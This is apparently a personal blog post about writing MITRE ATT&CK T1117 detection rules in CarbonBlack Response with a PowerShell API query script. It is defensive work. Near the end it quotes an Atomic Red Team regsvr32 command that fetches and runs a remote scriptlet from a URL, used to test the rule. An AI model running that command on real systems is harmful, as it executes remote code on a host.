Ramblings about MITRE ATT&CK, CarbonBlack Response, and Powershell

Sometimes building MITRE ATT&CK detection rules in your environment can be a piece of cake if you don’t have a whole lot of endpoints to deal with but if you’re like me and work for a large enterprise it can be quite painful. A simple search for cmd.exe or powershell.exe in your EDR (Endpoint Detection and Response) of choice can return millions of results which can make them less than ideal as an alert for your security monitoring team. I’ve been lucky enough to have used CarbonBlack Response in a large enterprise to know just how powerful and overwhelming it can be to create “Watchlists” (aka detection rules in CB-R speak) and I wanted to share some tricks I feel many defenders could use to save them some time/effort.

First of all, what is this MITRE ATT&CK I speak of and why is it the best thing since sliced bread for your Incident Response team?! Well sit down my friend and let me tell you the story of how I used to write EDR rules. Okay, maybe you don’t have to sit down since I really only used twitter and emulated attackers by playing around with red team tools. I would spend time finding unique ways to detect things like mimikatz, meterpreter shells, persistence techniques, and bloodhound executions in a test/prod environment. Twitter was and still is an awesome place to learn about new attack tools and techniques but if only there was a single place where one could find an giant wiki of “Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™)”. 😮 MITRE ATT&CK is doing just that with well over 200+ techniques and growing. Each one is documented with helpful links to published blogs/papers which includes which APT groups have been known to use them. All of which can help shape your detection strategy.

Take a look at MITRE ATT&CK T1117 for Regsvr32.exe which is a signed Microsoft binary that you will commonly see executing on any Windows system in order load or unload a DLL (common with application installs).  If you have an EDR solution deployed (or ELK + Sysmon) at your place of work then it would allow you to search for processes named “regsvr32.exe”, look at it’s parent/child process relationship, and much much more.  This gives you the visibility required to build advanced detections that can rely on more than just a signature or a hash. The best part of the MITRE ATT&CK framework (imho) is it gives an Incident Response team a place to start testing and validating just what they can and cannot see in their environment. It can help identify any gaps you may have in your defenses before something terrible finds them for you.

Once you’ve built a  detection for a MITRE T-Code, check out the awesome work  being done by Red Canary’s Atomic Red Team. For example, if you built a detection for MITRE T1117  you could test it by running some of the examples mentioned in the the following Atomic for T1117. Pretty helpful when attempting to validate just how robust your detection rule actually is.

Okay! Now for the fun part! Utilizing Powershell and Carbonblack Response (Future blog post on doing this with sysmon+ Sof-ELK btw) to build MITRE ATT&CK rules. The following script can be used to run a search query against CB-R and return the results in a happy powershell object for you to play with. The results returned in the API are pretty great but much of what you can see can be modified by an attacker.  For example, with DosObfuscation and the powershell equivalent (Invoke-obfuscation) can be easily used to make cmdline detentions USELESS but sometimes it may be all you got to filter out all the noise in your environment.

# Hunting for Evil with the Cb Response API!
#Add your CB Response API Key Here
#Add API key to the header
$Headers = @{ 'X-Auth-Token' = $ApiKey }
#Required for HTTPS functionalitly
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
#Configure CB Response Server API info
$CBSrv = "https://YOURCB-RSERVERNAME:8443/api/v1/process?"
#Default Queries will start at the Newest and return the next 2000 results
$CBReturnOptions = "&rows=2000&start=0&sort=start%20desc"
#Define your CB-Rquery here
$query = "q=process_name%3A%22cmd.exe%22"
#Build the Cb Response API Query
$QueryURI = ($CBSrv + $query + $CBReturnOptions)
#Execute the API query and return the results into the variable $CBquery
$CBquery = invoke-restmethod -Uri $QueryURI -Headers $Headers

A couple of things are required to get this ugly little script running. First off, you’ll need to add your API key to the variable $ApiKey which can be found under your profiles in CB-R (your account will require admin rights in CB-R). Next add the address/name of your CB-R server to the variable $CBSrv. Now we are ready to party and build a search query. CB-R API takes URL encoded text which means you’ll have to convert some characters to ASCII. For example, this CB-R query  [process_name:cmd.exe -cmdline:”somethingcool”] would have to be converted to [process_name%3Acmd.exe%20-cmdline%3A%22somethingcool%22]. Kinda painful until you either memorize ASCII characters or remember that CB-R actually builds the URL encoded search string for you! 😀 Below you can see all you need to do is copy the URL encoded search query  (copy from “q=” to the end) but watch out! Some browsers, like Chrome, don’t display the URL encoded equivalent for ” which you will have to replace manually with %22 in order for the query to work.

I would suggest opening Powershell ISE for editing and running (F5 shortcut) the script. Let’s look for all processes named regsvr32.exe in our environment by updating the $query variable from the above code snippet with the following:

$query = "q=process_name%3aregsvr32.exe"

Hopefully, the script ran without any errors. If it did, you should be able to take a look at the results returned from the above query but let’s use the powershell cmdlet “get-member” to see what was returned in the variable $CBquery. This should contain a powershell object that has all of the matching results from our query. Try the following in the Powershell ISE console after running the script:

 $CBquery | get-member 

Which should return something like this:

Get-member is really useful when you have no idea what MemberTypes an object may have that you want to potentially use. In this case, we want to see what NoteProperties we could start to play around with in our quest to make the best MITRE detection rule we can. Two NoteProperties we may want to take a look at is “elapsed” and “total_results”. The first one is useful when you question just how long does it take to run this particular CB-R query (Pro-Tip: looking for alot of modloads in a search can really slow down a search) while “total_results” shows us how many total hits we had for this search. We can access these NoteProprties using a . notation like so:


From those results we can see we have some 100k+ processes named regsvr32.exe in this environment and that it took about 35 seconds to run the search. The script above is set to only return the last 2000 of the 100K+ results. To access these, take a look at the NoteProperty “results” which if you look at the results from “get-member” defines it as a custom powershell object which can be accessed like so:



That will dump up to 2000 CB-R process objects into your console btw but as you can see…check out all the sweet process details we can get! Parent process name, Network connection counts, process cmdline, start  times, and many more.

Okay, we need to do something to narrow down our CB-R search to make it a little more useful. Let’s take a look at all our cmdline args and see if there are any really common ones that we could potentially exclude from our search. One way we could do this is by using the powershell cmd “group” to get a count of all the unique cmdline args from the results we got from CB-R. Let’s try that by running the following cmd:

 $CBquery.results | group cmdline 

Cool but it looks like the count is out of order and we can’t see the full cmdline that’s displayed under the “Name” column. Let’s fix the first one by using the powershell “sort” cmd. In this command we pipe the search results into the “group” cmd to group by unique cmdline args and then pipe it again into the “sort” cmd to sort by the count column.

 $CBquery.results | group cmdline | sort count 

Alright, looking decent but we still can’t see the actual cmdline. Our solution?  More Piping!  Let’s pipe the results from sort into another powershell cmd called “select” (also known as select-object) and select the two columns we care about (count and name).

 $CBquery.results | group cmdline | sort count | select count,name 


Now we are cooking with fire! This little technique is really usefully for quickly looking through all your search hits and seeing if you can remove some common cmdline args or even parent processes that can help make your search more accurate. One step closer to being a search worthy of an Alert!

So, 100K results is way too many hits to be useful for detection alert. If we take a deeper look at MITRE T-Code T1117, you’ll notice this native windows binary can be abused by running it with a /i that allows pulling a file in from the internet! Pretty slick since this binary is a signed Microsoft binary that’s usually trusted. Let’s try to look for any regsvr32.exe processes that have a cmdline parameter using i. Now our CB-R search will be “process_name:regsvr32.exe AND cmdline:i”.

 $query = "q=process_name%3aregsvr32.exe%20cmdline%3ai" 

Let’s check out the results returned after adding the i cmdline arg:

Yesh! We went from 100K to 1258!  Check out the unique cmdlines returned.  Notice “/i” was matched on?  CB-R tokenizes the cmdline on forward /’s and a few other characters so that we only need to search for cmdline:i in CB-R.

If you really needed that / you can escape it with a back \ which is really handy when you  need to escape a double quote that’s at the end of a process’s cmdline. For example, in the above picture, if you take that first result that I blurred out: [/i /s “blahblah\blahdk\blahd\something.dll”] and you wanted to exclude something.dll from your CB-R search. You will have to do an exclude like this -cmdline:something.dll\”

Why? Cause CB-R tokenizes the cmdline args. So that first cmdline [/i /s “blahblah\blahdk\blahd\something.dll”] would be turned into [i] [s] [“blahblah]  [blahdk] [blahd] [something.dll”]  which you could then search on  like cmdline:blahdk or cmdline:i but you couldn’t search for cmdline:something.dll”   <–syntax error.  So you have to escape it like so cmdline:something.dll\” ANYWAYS….random CB-R tangent there.

Getting back to our MITRE T-Code of T1117, we still are getting a 1000+ hits back which is still not good enough for an actionable alert unless your company has an small army of SOC analysts and interns at the ready then nevermind. You’re good to go! For the rest of us we need to get it down to less than 20 hits. Remember that we’re looking for regsvr32.exe reaching out to the internet which means the process would have to have a network connection and lucky for us there’s a “netconn_count” field we can use! So, we would want to look for the following: “process_name:regsvr32.exe AND cmdline:i  AND  netconn_count:[1 TO *]” in CB-R which would find any process named regsvr32.exe, with a cmdline arg of I, AND has at least 1 to infinite network connections. Update the script with the below URL encoded search string and give it a try!

 $query = "q=process_name%3aregsvr32.exe%20cmdline%3ai%20netconn_count%3A%5B1%20TO%20*%5D" 

0 hits! Now, validate your rule by running a test attack provided by using Red Canary’s Atomic Red Team atomic for T1117. In particular the network example using a URL:

 regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll  

Unfortunately, this test will get blocked by AV since it’s an old one but you get the idea! Regardless, I hope my ramblings helped give you an idea of how you could approach a detection like this and possibly get you excited to go checkout and play with MITRE Att&ck, powershell, and your EDR of choice. ;D

This is my first time throwing together a blog so if you see anything terrible or horribly incorrect, let me know! #KnowledgeIsPower  #HuntDetectRepeat

2 thoughts on “Ramblings about MITRE ATT&CK, CarbonBlack Response, and Powershell

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s